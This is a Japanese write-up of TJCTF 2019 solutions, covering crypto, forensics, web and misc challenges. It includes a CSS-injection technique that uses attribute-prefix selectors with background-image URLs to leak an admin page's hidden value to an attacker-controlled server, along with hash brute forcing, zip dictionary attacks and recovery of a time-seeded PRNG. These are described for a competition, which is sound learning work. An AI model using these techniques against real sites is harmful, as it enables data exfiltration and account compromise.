TJCTF2019 Write-Up

概要

2019年4月6日~4月10日にかけて開催された、TJCTFのWrite-Upです。

所属しているチーム「生活習慣崩壊ズ」は26問通して1245点を獲得し、11位となりました。そのうち、自分は16問通し、700点を獲得しました。

ここでは、自分の通した問題についての解法を記したいと思います。

 

Blurry(Web 5pts)

f:id:keymoon:20190410145908p:plain

はい
f:id:keymoon:20190410145846p:plain

Touch Base(Crypto 5pts)

Decode this string for an easy flag!

Encoded: dGpjdGZ7ajJzdF9zMG0zX2I0c2U2NH0=

Base64ですね。

MC Woes(Forensics 5pts)

マインクラフトのセーブデータが落ちてきます。セーブデータエディタで色々覗いていると、壊れていて開けないファイルがあることがわかります。バイナリエディタで見てあげると、Flagが下の方に書かれていることがわかりました。

Sportsmanship(Crypto 10pts)

It is simply this: do not tire, never lose interest, never grow indifferent—lose your invaluable curiosity and you let yourself die. It's as simple as that.” “I'm a liar and a cheat and a coward, but I will never, ever, let a friend down. Unless of course not letting them down requires honesty, fair play, or bravery.

ciphertext: ROEFICFEENEBZDLFPY

key: UNPROBLEMATICDFGHKQSVWXYZ

 fair playが太字になっています fair play cipherとかで検索をすると、Playfair cipherなるものを見つけられます。デコーダにブチ込むと平文が出てきました。

Guess My Hashword (Crypto 10pts)

I bet you'll never guess my password!

I hashed tjctf{[word]} - my word has a captial letter, two lowercase letters, a digit, and an underscore. ex: hash('tjctf{o_0Bo}') or hash('tjctf{Aaa0_}')

Here's the md5 hash: 31f40dc5308fa2a311d2e2ba8955df6c

 探索空間が狭そうなので、ブルートフォースをすれば良さそうです。

Corsair(Forensics 5pts)

f:id:keymoon:20190410150916j:plain

ぐっと睨むと左上の方に薄く黄色いエリアがあることが何となく分かって、フラグが見えます

色調補正をぐりぐりすると見えるようになりました。

f:id:keymoon:20190410151236p:plain

BC Calc(Forensics 80pts)

ドキュメントファイルが落ちてきます。

f:id:keymoon:20190410151549p:plain

閉じ括弧や開き括弧の存在、TJCTFという文字を構成できることから恐らくこれを何らかの順序で並び替えることでフラグになるんだろうなと予想できます。最初は

イメージを置いた順(名前)かと思ったのですが、どうやら違うようです。

f:id:keymoon:20190410151736p:plain

少し考えると、画像の整列順(一番上に移動みたいなやつ)がそれっぽいかもしれないとわかります。

すべての画像を同じ場所に重ね、上から取って並べていくとフラグが出てきました。

SOS(Forensics 70pts)

Help! I swiped this off some extraterrestrial musician's laptop, but I think I'm getting trolled. I tried to intercept their communications, but their frequency is just too high. There's something wrong, but I just can't put my ear on it...

高周波に何かありそうと書かれていたため、高周波を見ます。サンプリングレートが44100hzのものは最高周波数が22050くらいになるので、そこらへんをMaxに表示させてあげます。

そうすると、見事に何かありました。

f:id:keymoon:20190410152353p:plain

そこを拡大表示するとモールス信号っぽいみたいなことが分かるため、手で符号に起こしました。

それをデコードするといい感じの文が出てきてくれて、

f:id:keymoon:20190410152729p:plain

flag部分がflagです。

余談

システムの不具合で正答が判定されず、更に一度判定されたflagはチェッカーに掛けられないらしいのでいつまで経っても合いませんでした。幸い、tjctf{}の外の部分は判定機に掛けられない仕様のお陰で tjctf{}: と余計な物を後ろにつけたりして回避できました。

f:id:keymoon:20190410153125p:plain

 Sight at Last(Misc 100pts)

nc p1.tjctf.org 8005 にアクセスすると、

To get the flag, solve a hundred captchas in 500 seconds!
Find the minimum distance between the centers of two circles to continue:
[base64

 と言われます。base64をデコードすると(シグネチャより)画像っぽいことが分かるので、画像として保存をするとこんな画像が出てきます。

f:id:keymoon:20190410154217p:plain

「円の中心の最小距離を求めよ」の意味が分かったので、ソルバを書きます。全ての黒の連結成分を検知し、重心を求めて全探索みたいな方針でいきました。

以下ソースコードです(相当汚いですけど…):

 

gist.github.com

Journey(Misc 20pts)

 ncで繋いで返答をオウム返ししていくだけなのですが、正答に辿り着くまでは6万ステップほど掛かってしまって到底タイムアウトまでには間に合いませんでした。

漁師が途中の返答をもう一度行うとその状態までスキップできることを見つけたので、コネクションが切れたら繋ぎ直してリストアするようにコードを書き直して行けました。

Moar Horse 2(Web 70pts)

f:id:keymoon:20190410154859p:plain

BACKWARD FORWARDのどちらをクリックしても同じデザインのページに行き着きます。URLは違うっぽいので、それのみが別のページであるということを示してくれています。

とりあえず探索がしたくなったので雑にBFSを打ち、1時間くらい待って深さ14、探索回数12000回くらいまで潜ったところで見つかりました。流石に嘘解法を疑いました…

gist.github.com

Rockstar Certified(Misc 50pts)

Rockstarとかいう謎言語のソースと出力が落ちてくるので、入力を見つけなさいという問題。インターネット上に落ちているトランスパイラを拾ってきてPythonにトランスパイルして読めるようにした後、解空間が小さそうだなみたいなことがわかったので入力を全探索しました。

Mind Blown(Forensics 30pts)

f:id:keymoon:20190410160220p:plain

Exif入れ子になってそうだなあみたいな感想を持ちました。一番内側の部分を取ってあげるとフラグの画像が出てきました。

All the Zips(Forensics 20pts)

zipが140個くらいあり、その中のどれかに入っているflag.txtがflagでした。

ネット上にある辞書を落としてきて、1時間位辞書攻撃をさせてると正解のzipを解凍してくれました。

Security through Ergodicity(Forensics 120pts)

あるチャットアプリのサーバー実装とクライアントでのpcapが落ちてきます。

サーバー実装を読んでいると、なんとRandomを一秒刻みのUnixTimeで初期化しています(これマジ?)

クライアントのpcapを呼んでいると当然接続先が分かるので、そこにアクセスするとクライアントサイドの実装も取得することができました。(当然サーバー側の実装をデコードするようなものだったのですが、一から書くのはめんどくさかったのでありがたいです。)

クライアントの実装を改造し、UnixTimeを全探索してRandomのseedの特定を試みるコードを作成し、通信が行われた時のseedを特定しました。

httpで通信していたため全てのメッセージは残されていたので、当時の通信を(手作業で)復元し、チャットの履歴を読むことができました。

Moar Horse 3(Web 100pts)

(一部の文字はエスケープされるが)任意のCSSをHTMLに埋め込めるというもの。

<h1 class="lead flag" value="You're not an admin! If you were, this would be the flag.">Welcome to my awesome website!</h1>

みたいな記載があったため、show-adminで送りつけた時にここのvalueを抜けば良いことが分かります。これはSECCONのQualで通し損ねた部分と同じCSS Injectionでした。

graneed.hatenablog.com

ただし、この時のように視覚的な情報は得られないため、他の手段で情報を取得する必要があります。

background-image:url(https://hoge/)

みたいにすることにより、外部に対してリクエストを送りつけることができそうです。よって、.flag[value^=hoge]{background-image: url(hoge.png)}みたいなリクエストを自サーバーに送ればいい事がわかります。

解いた時点では小分けで文字毎にCSSを送っていますが、今考えると一度で全てのCSSを送りつけても良かったですね…。

以下ソースです。

gist.github.com

感想

Moar Horse 3を解いた翌日、高熱を出して一日寝込んでしまいました…。(徹夜でCTF、やめよう!)

これがなければ詰めきれていない問題ももう少し解けていたであろうと思うと悔しい限りです。